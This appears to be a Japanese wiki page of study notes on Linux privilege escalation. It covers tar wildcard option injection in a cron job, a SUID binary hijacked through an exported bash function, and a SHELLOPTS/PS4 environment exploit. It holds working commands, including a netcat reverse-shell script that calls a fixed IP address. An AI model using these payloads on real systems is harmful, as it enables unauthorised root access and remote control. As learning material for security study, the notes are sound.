linPriv - yokohama/oreshic-record GitHub Wiki
例:
* * * * * tar cf /tmp/backup.tar /home/user/*
上記のコマンドを以下のように誤動作させる
tar cf --checkpoint=1 --checkpoint-action=exec=poc.sh
やり方:
cd /home/user #もちろんここに権限がないとダメ
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=poc.sh
cat << 'EOF' > ./poc.sh
#!/bin/bash
mkfifo /tmp/p
nc 192.168.128.175 4444 < /tmp/p | /bin/bash -i > /tmp/p 2>&1
EOF
なぜ?:
tar の対象が、* になっているためこれらのファイルも対象となり、ファイル名ではなくオプションだと認識されるため。
4.2-048以前のbashには、コマンドと同じ名前で関数を作成すると、コマンドではなく関数が実行されるバグがある。
user@debian:~$ bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>例: 以下のような謎の+sのコマンドがあるとする
ls -l /usr/local/bin/suid-env2
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2何をしているか確認
最後の行で、/usr/sbin/service をroot権限(このコマンドが +s なので)で実行している。
user@debian:~$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start偽関数を作成
function /usr/sbin/apache2 { /bin/bash -p; }
export -f /usr/sbin/apache2コマンドを実行すると偽関数がコールされ権限昇格
/usr/local/bin/suid-env2
#bash4.4以前のSUID実行時の環境変数の処理の不備を狙う権限昇格
例: 以下のような謎の+sのコマンドがあるとする
ls -l /usr/local/bin/suid-env2
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2以下のコマンドを実行
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/tmp/rootbash
#
-
env -iで現在の環境変数(親からの継承含む)を全てリセット -
SHELLOPTR=xtraceで、bash起動時に、set -x(trace)を強制的に有効 -
PS4=$()で、xtraceにより各コマンド実行直前に任意のコマンドが評価・実行 - つまり、SUID 実行されるbashが起動直後からxtraceを有効にした状態でPS4を評価し、root権限で
$()内のコマンドが実行される。
priv